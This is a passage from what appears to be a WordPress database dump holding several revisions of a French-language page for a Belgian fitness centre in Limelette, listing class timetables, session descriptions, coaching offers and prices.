cardiovasculaire! Idéal pour brûler un maximum de calories et perdre du poids (conseillé avec un programme alimentaire)!\r\n&lt;br&gt;\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;Circuit training&lt;/strong&gt;&lt;/span&gt;: Travaillez de manière fun sur un circuit ultra-complet, accessible à tous et adapté à votre niveau! Relevez des challenges et augmentez votre confiance en vous! \r\n&lt;br&gt;\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;Renforcement musculaire&lt;/strong&gt;&lt;/span&gt;: Excellent circuit pour raffermir, muscler votre corps en profondeur avec ou sans prise de volume! Vous utiliserez entre autre le TRX suspension training (méthode d\'entrainement révolutionnaire basée sur le poids du corps), le Rip Trainer, le kettlebell...\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2013-11-14 21:23:43', '2013-11-14 21:23:43', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(397, 1, '2013-11-14 21:27:07', '2013-11-14 21:27:07', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;&lt;strong&gt;Cardio&lt;/strong&gt;&lt;/span&gt;: Circuit permettant de développer votre endurance musculaire et cardiovasculaire! Idéal pour brûler un maximum de calories et perdre du poids (conseillé avec un programme alimentaire)!\r\n&lt;br&gt;\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;&lt;strong&gt;Circuit training&lt;/strong&gt;&lt;/span&gt;: Travaillez de manière fun sur un circuit ultra-complet, accessible à tous et adapté à votre niveau! Relevez des challenges et augmentez votre confiance en vous! \r\n&lt;br&gt;\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;Renforcement musculaire&lt;/strong&gt;&lt;/span&gt;: Excellent circuit pour raffermir, muscler votre corps en profondeur avec ou sans prise de volume! Vous utiliserez entre autre le TRX suspension training (méthode d\'entrainement révolutionnaire basée sur le poids du corps), le Rip Trainer, le kettlebell...\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2013-11-14 21:27:07', '2013-11-14 21:27:07', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(400, 2, '2013-11-14 22:19:40', '2013-11-14 22:19:40', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 3 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;&lt;strong&gt;Cardio&lt;/strong&gt;&lt;/span&gt;: Circuit permettant de développer votre endurance musculaire et cardiovasculaire! Idéal pour brûler un maximum de calories et perdre du poids (conseillé avec un programme alimentaire)!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;&lt;strong&gt;Circuit training&lt;/strong&gt;&lt;/span&gt;: Travaillez de manière fun sur un circuit ultra-complet, accessible à tous et adapté à votre niveau! Relevez des challenges et augmentez votre confiance en vous!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;Renforcement musculaire&lt;/strong&gt;&lt;/span&gt;: Excellent circuit pour raffermir, muscler votre corps en profondeur avec ou sans prise de volume! Vous utiliserez entre autre le TRX suspension training (méthode d\'entrainement révolutionnaire basée sur le poids du corps), le Rip Trainer, le kettlebell...\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2013-11-14 22:19:40', '2013-11-14 22:19:40', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(398, 1, '2013-11-14 21:33:20', '2013-11-14 21:33:20', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;&lt;strong&gt;Cardio&lt;/strong&gt;&lt;/span&gt;: Circuit permettant de développer votre endurance musculaire et cardiovasculaire! Idéal pour brûler un maximum de calories et perdre du poids (conseillé avec un programme alimentaire)!\r\n&lt;br&gt;\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;&lt;strong&gt;Circuit training&lt;/strong&gt;&lt;/span&gt;: Travaillez de manière fun sur un circuit ultra-complet, accessible à tous et adapté à votre niveau! Relevez des challenges et augmentez votre confiance en vous! \r\n&lt;br&gt;\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;Renforcement musculaire&lt;/strong&gt;&lt;/span&gt;: Excellent circuit pour raffermir, muscler votre corps en profondeur avec ou sans prise de volume! Vous utiliserez entre autre le TRX suspension training (méthode d\'entrainement révolutionnaire basée sur le poids du corps), le Rip Trainer, le kettlebell...\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2013-11-14 21:33:20', '2013-11-14 21:33:20', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(401, 1, '2013-11-24 08:34:58', '2013-11-24 08:34:58', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 3 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td 